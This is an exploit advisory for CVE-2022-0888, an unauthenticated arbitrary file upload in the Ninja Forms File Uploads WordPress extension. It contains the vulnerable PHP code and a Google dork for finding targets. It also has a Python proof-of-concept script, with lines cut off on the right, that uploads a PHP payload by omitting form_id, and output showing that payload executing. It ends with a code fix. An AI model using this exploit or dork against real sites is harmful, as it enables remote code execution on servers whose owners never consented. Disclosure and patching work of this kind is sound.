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WordPress Plugin Ninja Forms - File Uploads Extension >= 3.3.0 - Unauthenticated Arbitrary File Upload

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WordPress Plugin Ninja Forms - File Uploads Extension >= 3.3.0 - Unauthenticated Arbitrary File Upload

Exploit Title	WordPress Plugin Ninja Forms - File Uploads Extension >= 3.3.0 - Unauthenticated Arbitrary File Upload
Exploit Author	Muhammad Zeeshan (Xib3rR4dAr)
Plugin Link	Ninja-File-Uploads , Ninja-Forms
Version	3.3.0
Tested on	Wordpress 5.9.1
Vulnerable Endpoint	/wp-admin/admin-ajax.php?action=nf_fu_upload
Vulnerable File	/wp-content/plugins/ninja-forms-uploads/includes/ajax/controllers/uploads.php
Google Dork	inurl:/wp-content/plugins/ninja-forms-uploads
CVE	CVE-2022-0888

Description

ninja-forms-uploads extension version $\geq 3.3.0$ of `ninja-forms` $\geq 3.6.7$ was found vulnerable to arbitrary file upload vulnerability. File extension check was present which can be bypassed if `form_id` parameter is removed from file upload request.

Vulnerable Plugin

`ninja-forms` 'extensoin `ninja-forms-uploads` version $\geq 3.3.0$

[ninja-forms](#)

[ninja-forms-uploads](#)

Vulnerable Code

If `form_id` parameter is not set, `_validate` method in `ninja-forms-uploads/includes/ajax/controllers/uploads.php` returns true which bypasses file extension being checked.

```
144 protected function _validate( $file ) {
145     // Check for upload errors
146     if ( $file['error'] && UPLOAD_ERR_OK !== $file['error'] ) {
147         $this->errors[] = $this->code_to_message( $file['error'] );
148
149         return false;
150     }
151
152     $form_id = filter_input( type: INPUT_POST, var_name: 'form_id', filter: FILTER_VALIDATE_INT );
153     $field_id = filter_input( type: INPUT_POST, var_name: 'field_id', filter: FILTER_VALIDATE_INT );
154
155     /* Render Instance Fix */
156     if(strpos($form_id, '_')){
157         list($form_id) = explode( separator: '_', $form_id);
158     }
159     if(strpos($field_id, '_')){
160         list($field_id) = explode( separator: '_', $field_id);
161     }
162     /* END Render Instance Fix */
163
164     if ( ! isset( $form_id ) || ! isset( $field_id ) ) {
165         // Haven't got the data to grab field settings, bail
166         return true;
167     }
168 }
```

PoC:

```

import requests, re, json, urllib.parse

wp_domain      = input("\nEnter domain name:           : ")
wp_form_url    = input("Enter URI of page with file upload form : ")
payload        = input('Payload                        : ')

full_wp_form_url = wp_domain + wp_form_url

proxies = {
    # Uncomment following line to use proxy
    # "http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"
}

wp_session      = requests.session()

headers         = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 12_2_1) Ap

wp              = wp_session.get(full_wp_form_url, headers=headers, proxies=proxie
wp_nonce        = re.search(r'uploadNonce":"(.*)"', "uploadNonceExpiry", wp.text).g

ajax_url        = wp_domain + "/wp-admin/admin-ajax.php?action=nf_fu_upload"

req_headers     = {"Accept": "application/json, text/javascript, */*; q=0.01", "X-
exploit_body    = f"-----WebKitFormBoundary3K3AsbTze13seUkb\r\nContent-Dispositio
# Uncomment following two lines if nonce error occurs
#req_headers     = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 12_2_1)
#exploit_body    = f"-----WebKitFormBoundaryDgckL57HDDGn99R7\r\nContent-Dispositi

print(f'\nSending exploit payload: {payload}')

e_resp          = wp_session.post(ajax_url, headers=req_headers, data=exploit_body
data            = e_resp.json()

payload_url     = wp_domain + '/wp-content/uploads/ninja-forms/tmp/' + data['data']['fil

print("\nResponse: \n" + json.dumps(data, sort_keys=True, indent=4))

print(f'\nPayload contents uploaded at: {payload_url}')

payload_resp    = wp_session.get(payload_url, headers=headers, proxies=proxies, ve

print(f'\nResponse: {payload_resp.text}')

```



```
λ python ninja-forms-uploads_rce_poc.py
Enter domain name:           : http://192.168.0.112
Enter URI of page with file upload form : /sample-page/
Payload                      : <?php echo 'Server time() is: ' . time() ; ?>

Sending exploit payload: <?php echo 'Server time() is: ' . time() ; ?>

Response:
{
  "data": {
    "files": [
      {
        "error": 0,
        "name": "pt.php",
        "size": 45,
        "tmp_name": "nftmp-YShE0-pt.php",
        "type": "application/x-httpd-php"
      }
    ]
  },
  "debug": [],
  "errors": []
}

Payload contents uploaded at: http://192.168.0.112/wp-content/uploads/ninja-forms/tmp/nftmp-YShE0-pt.php
Response: Server time() is: 1646674625
```

Fix

Update plugin to latest version OR in `ninja-forms-uploads/includes/ajax/controllers/uploads.php` search for method `handle_upload` and add following in it:

```
if ( empty( $_POST['form_id'] ) ) {
    $this->_errors[] = __( 'No form ID supplied', 'ninja-forms-uploads' );
    $this->_respond();
}
```

